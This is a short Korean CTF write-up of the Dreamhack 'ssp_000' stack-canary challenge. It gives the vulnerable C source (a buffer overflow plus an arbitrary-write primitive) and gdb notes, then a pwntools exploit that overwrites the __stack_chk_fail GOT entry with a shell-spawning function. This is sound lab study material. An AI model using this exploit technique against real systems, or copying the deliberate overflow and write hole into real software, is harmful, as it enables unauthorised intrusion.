Stack Smashing Protector, Stack overflow를 방지하기 위해 Canary 보호 기법 적용하여 stack smashing을 보호한다.
보호기법 분석
ssp_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {}; //buf 0x40할당
initialize();
read(0, buf, 0x80); //0x80만큼 입력 받음
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
-void get_shell()을 통해서 /bin/sh을 실행시키는 것을 알 수 있다.
-주석으로 적은 것 같이 buf를 0x40만큼 할당한 뒤 0x80만큼 입력을 받고 있으므로 BOF(Buffer Over Flow)가 발생할 수 있다. 하지만, 소스 코드 내에서 Canary를 leak할 수 있는 곳을 발견할 수 없는 것 같다.
gdb 분석-main 함수
-main+77: read, buf 내용은 rbp-0x50에 사용자 입력 값 저장
-main+114: scanf, addr은 [rbp-0x60]에 저장
-main + 151: scanf, value는 [rbp-0x58]에 저장
-main+190: stack_chk_fail 함수
Exploit Scenario&Code
from pwn import *
p=remote('host3.dreamhack.games', 12217)
e=ELF('./ssp_000')
get_shell = e.symbols['get_shell']
canary = e.got['__stack_chk_fail']
payload = "a"*80
p.send(payload)
p.sendlineafter('Addr : ', str(canary))
p.sendlineafter('Value : ', str(get_shell))
p.interactive()
결과